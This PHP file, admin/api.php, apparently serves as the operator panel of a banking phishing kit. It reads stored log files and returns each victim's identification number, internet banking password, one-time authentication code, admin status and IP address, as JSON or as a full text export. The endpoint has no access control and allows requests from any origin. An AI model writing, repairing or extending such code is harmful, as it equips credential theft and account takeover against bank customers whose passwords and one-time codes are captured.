<?php
// admin/api.php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Access-Control-Allow-Headers: Content-Type');

$carpeta = '../registros/';

// Si es exportación, devolver archivo completo
if (isset($_GET['export']) && $_GET['export'] == 1) {
    $archivos = glob($carpeta . '*.txt');
    $contenido = "========================================\n";
    $contenido .= "     EXPORTACIÓN COMPLETA DE REGISTROS\n";
    $contenido .= "========================================\n";
    $contenido .= "Fecha de exportación: " . date('Y-m-d H:i:s') . "\n";
    $contenido .= "Total de registros: " . count($archivos) . "\n";
    $contenido .= "========================================\n\n";
    
    foreach (array_reverse($archivos) as $archivo) {
        $contenido .= file_get_contents($archivo);
        $contenido .= "\n\n";
    }
    
    header('Content-Type: text/plain');
    header('Content-Disposition: attachment; filename="registros_completos_' . date('Y-m-d') . '.txt"');
    echo $contenido;
    exit;
}

// Si no, devolver JSON con todos los registros
$registros = [];

if (file_exists($carpeta)) {
    $archivos = array_reverse(glob($carpeta . '*.txt'));
    
    foreach ($archivos as $archivo) {
        $contenido = file_get_contents($archivo);
        $nombre = basename($archivo);
        
        // Extraer información del archivo
        preg_match('/Fecha y hora: (.+)/', $contenido, $fechaMatch);
        preg_match('/• Tipo de identificación: (.+)/', $contenido, $tipoMatch);
        preg_match('/• Número de identificación: (.+)/', $contenido, $numeroMatch);
        preg_match('/• Primera clave de internet: (.+)/', $contenido, $claveMatch);
        preg_match('/• Número dinámico de autenticación: (.+)/', $contenido, $dinamicoMatch);
        preg_match('/• Administrador de la empresa: (.+)/', $contenido, $adminMatch);
        preg_match('/IP Usuario: (.+)/', $contenido, $ipMatch);
        
        // Extraer ID del nombre del archivo
        preg_match('/\d+_\d+\.txt/', $nombre, $idMatch);
        $id = str_replace('.txt', '', $idMatch[0] ?? $nombre);
        
        $registros[] = [
            'id' => $id,
            'fecha' => trim($fechaMatch[1] ?? 'Fecha no disponible'),
            'tipoIdentificacion' => trim($tipoMatch[1] ?? 'No especificado'),
            'numeroIdentificacion' => trim($numeroMatch[1] ?? 'No especificado'),
            'primeraClave' => trim($claveMatch[1] ?? 'No especificada'),
            'numeroDinamico' => trim($dinamicoMatch[1] ?? 'No especificado'),
            'esAdmin' => trim($adminMatch[1] ?? 'NO'),
            'ip' => trim($ipMatch[1] ?? 'No registrada')
        ];
    }
}

echo json_encode(['success' => true, 'registros' => $registros, 'total' => count($registros)]);
?>